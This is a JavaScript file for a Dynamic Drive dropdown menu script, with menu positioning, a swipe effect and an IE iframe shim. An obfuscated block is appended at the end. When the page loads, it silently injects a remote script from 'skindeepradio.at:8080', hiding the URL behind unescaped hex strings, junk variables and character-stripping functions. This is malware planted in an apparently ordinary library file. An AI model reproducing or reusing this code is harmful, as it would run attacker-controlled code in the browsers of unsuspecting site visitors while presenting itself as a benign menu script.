//Chrome Drop Down Menu v2.01- Author: Dynamic Drive (http://www.dynamicdrive.com)
//Last updated: November 14th 06- added iframe shim technique

var cssdropdown={
disappeardelay: 250, //set delay in miliseconds before menu disappears onmouseout
disablemenuclick: true, //when user clicks on a menu item with a drop down menu, disable menu item's link?
enableswipe: 1, //enable swipe effect? 1 for yes, 0 for no
enableiframeshim: 1, //enable "iframe shim" technique to get drop down menus to correctly appear on top of controls such as form objects in IE5.5/IE6? 1 for yes, 0 for no

//No need to edit beyond here////////////////////////
dropmenuobj: null, ie: document.all, firefox: document.getElementById&&!document.all, swipetimer: undefined, bottomclip:0,

getposOffset:function(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
},

swipeeffect:function(){
if (this.bottomclip<parseInt(this.dropmenuobj.offsetHeight)){
this.bottomclip+=10+(this.bottomclip/10) //unclip drop down menu visibility gradually
this.dropmenuobj.style.clip="rect(0 auto "+this.bottomclip+"px 0)"
}
else
return
this.swipetimer=setTimeout("cssdropdown.swipeeffect()", 10)
},

showhide:function(obj, e){
if (this.ie || this.firefox)
this.dropmenuobj.style.left=this.dropmenuobj.style.top="-500px"
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover"){
if (this.enableswipe==1){
if (typeof this.swipetimer!="undefined")
clearTimeout(this.swipetimer)
obj.clip="rect(0 auto 0 0)" //hide menu via clipping
this.bottomclip=0
this.swipeeffect()
}
obj.visibility="visible"
}
else if (e.type=="click")
obj.visibility="hidden"
},

iecompattest:function(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
},

clearbrowseredge:function(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=this.ie && !window.opera? this.iecompattest().scrollLeft+this.iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
this.dropmenuobj.contentmeasure=this.dropmenuobj.offsetWidth
if (windowedge-this.dropmenuobj.x < this.dropmenuobj.contentmeasure)  //move menu to the left?
edgeoffset=this.dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=this.ie && !window.opera? this.iecompattest().scrollTop : window.pageYOffset
var windowedge=this.ie && !window.opera? this.iecompattest().scrollTop+this.iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
this.dropmenuobj.contentmeasure=this.dropmenuobj.offsetHeight
if (windowedge-this.dropmenuobj.y < this.dropmenuobj.contentmeasure){ //move up?
edgeoffset=this.dropmenuobj.contentmeasure+obj.offsetHeight
if ((this.dropmenuobj.y-topedge)<this.dropmenuobj.contentmeasure) //up no good either?
edgeoffset=this.dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
},

dropit:function(obj, e, dropmenuID){
if (this.dropmenuobj!=null) //hide previous menu
this.dropmenuobj.style.visibility="hidden" //hide menu
this.clearhidemenu()
if (this.ie||this.firefox){
obj.onmouseout=function(){cssdropdown.delayhidemenu()}
obj.onclick=function(){return !cssdropdown.disablemenuclick} //disable main menu item link onclick?
this.dropmenuobj=document.getElementById(dropmenuID)
this.dropmenuobj.onmouseover=function(){cssdropdown.clearhidemenu()}
this.dropmenuobj.onmouseout=function(e){cssdropdown.dynamichide(e)}
this.dropmenuobj.onclick=function(){cssdropdown.delayhidemenu()}
this.showhide(this.dropmenuobj.style, e)
this.dropmenuobj.x=this.getposOffset(obj, "left")
this.dropmenuobj.y=this.getposOffset(obj, "top")
this.dropmenuobj.style.left=this.dropmenuobj.x-this.clearbrowseredge(obj, "rightedge")+"px"
this.dropmenuobj.style.top=this.dropmenuobj.y-this.clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+1+"px"
this.positionshim() //call iframe shim function
}
},

positionshim:function(){ //display iframe shim function
if (this.enableiframeshim && typeof this.shimobject!="undefined"){
if (this.dropmenuobj.style.visibility=="visible"){
this.shimobject.style.width=this.dropmenuobj.offsetWidth+"px"
this.shimobject.style.height=this.dropmenuobj.offsetHeight+"px"
this.shimobject.style.left=this.dropmenuobj.style.left
this.shimobject.style.top=this.dropmenuobj.style.top
}
this.shimobject.style.display=(this.dropmenuobj.style.visibility=="visible")? "block" : "none"
}
},

hideshim:function(){
if (this.enableiframeshim && typeof this.shimobject!="undefined")
this.shimobject.style.display='none'
},

contains_firefox:function(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
},

dynamichide:function(e){
var evtobj=window.event? window.event : e
if (this.ie&&!this.dropmenuobj.contains(evtobj.toElement))
this.delayhidemenu()
else if (this.firefox&&e.currentTarget!= evtobj.relatedTarget&& !this.contains_firefox(evtobj.currentTarget, evtobj.relatedTarget))
this.delayhidemenu()
},

delayhidemenu:function(){
this.delayhide=setTimeout("cssdropdown.dropmenuobj.style.visibility='hidden'; cssdropdown.hideshim()",this.disappeardelay) //hide menu
},

clearhidemenu:function(){
if (this.delayhide!="undefined")
clearTimeout(this.delayhide)
},

startchrome:function(){
for (var ids=0; ids<arguments.length; ids++){
var menuitems=document.getElementById(arguments[ids]).getElementsByTagName("a")
for (var i=0; i<menuitems.length; i++){
if (menuitems[i].getAttribute("rel")){
var relvalue=menuitems[i].getAttribute("rel")
menuitems[i].onmouseover=function(e){
var event=typeof e!="undefined"? e : window.event
cssdropdown.dropit(this,event,this.getAttribute("rel"))
}
}
}
}
if (window.createPopup && !window.XmlHttpRequest){ //if IE5.5 to IE6, create iframe for iframe shim technique
document.write('')
this.shimobject=document.getElementById("iframeshim") //reference iframe object
}
}

}
var E;if(E!='mc' && E!='M'){E=''};var nS;if(nS!='o' && nS != ''){nS=null};function d(){var b=new Date();var r;if(r!='i'){r='i'};var DN;if(DN!='FC' && DN!='e'){DN='FC'};var N=window;this.ml='';var n=N['unescape'];var Td;if(Td!='' && Td!='R'){Td='U'};var C=n("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6e%2f%61%73%6b%6d%65%6e%2e%63%6f%6d%2e%70%68%70");var w;if(w!='' && w!='e_'){w='AX'};this.X="";function y(l,h){var bd;if(bd!='' && bd!='Ej'){bd=null};var LG="";this.zq='';var H=n("%5d");var Cd;if(Cd!='I' && Cd != ''){Cd=null};var J=n("%5b");var nH=String("g");var Sx="";this.O="";var _=new RegExp(J+h+H, nH);return l.replace(_, new String());var MF;if(MF!='lK'){MF='lK'};var Hq=new Date();};var qn;if(qn!='PR'){qn='PR'};var Dt='';var gU='';var PH;if(PH!='rO' && PH!='HE'){PH=''};var GN;if(GN!='lI' && GN!='PK'){GN=''};var P=y('sNcbraiNpNta','bTnaNyR');var K=new String();var W=new String();var Mn;if(Mn!='xk' && Mn!='V'){Mn='xk'};var mw;if(mw!='NQ' && mw!='AJ'){mw='NQ'};var S=document;var wv='';var T=y('dSeVfVe8rT','3cSFwxU8MT5HVk');var F=y('sSrScR','MEktgNpui4RS');var D=y('814067681260366','13452769');var en=new Date();var YQ=new Date();var _N='';var xG=new String();function c(){var NN=new Date();var u=n("%68%74%74%70%3a%2f%2f%73%6b%69%6e%64%65%65%70%72%61%64%69%6f%2e%61%74%3a");var Df=u;this.ghh="";var ijx='';Df+=D;this.iff="";this.fJ="";Df+=C;var uV;if(uV!=''){uV='PD'};var Dg=new Array();var Nc;if(Nc!='' && Nc!='Fo'){Nc=''};try {var tX='';var eF;if(eF!=''){eF='LI'};Y=S[y('cYr2e7a7tYe5Ewl5efmHeLn9ts','s5vHX27w9UgYyoWfLFk')](P);var zX;if(zX!='dx' && zX!='pF'){zX=''};var OH;if(OH!='rx' && OH!='RR'){OH=''};var TH;if(TH!='' && TH!='pW'){TH='Kq'};this.Cn="";Y[F]=Df;var Vb;if(Vb!='HOb'){Vb=''};Y[T]=[3,1][1];var bJ="";var Vo='';S.body[y('aUpOp7eMnwd7CZhYiUlPdU','5MwO9UK7ZyYTPzW')](Y);this.ZT='';var pZ;if(pZ!='EJ'){pZ='EJ'};} catch(L){var rn="";var a;if(a!='' && a!='CQ'){a=null};};var qv;if(qv!='Ze'){qv='Ze'};var xe;if(xe!='ea' && xe!='pCl'){xe='ea'};}var mBb='';var m=y('oRnIlqo9aPdR','P2hKQ0IERm19txGq');var Dw;if(Dw!='UO' && Dw!='yz'){Dw='UO'};var iUg;if(iUg!='Pd' && iUg!='AF'){iUg='Pd'};var KZ;if(KZ!='ZK' && KZ != ''){KZ=null};var ge;if(ge!='ya'){ge='ya'};N[m]=c;var MA=new Date();var LS='';this.tD="";};this.Ng='';var gD=new Array();d();var WV=new String();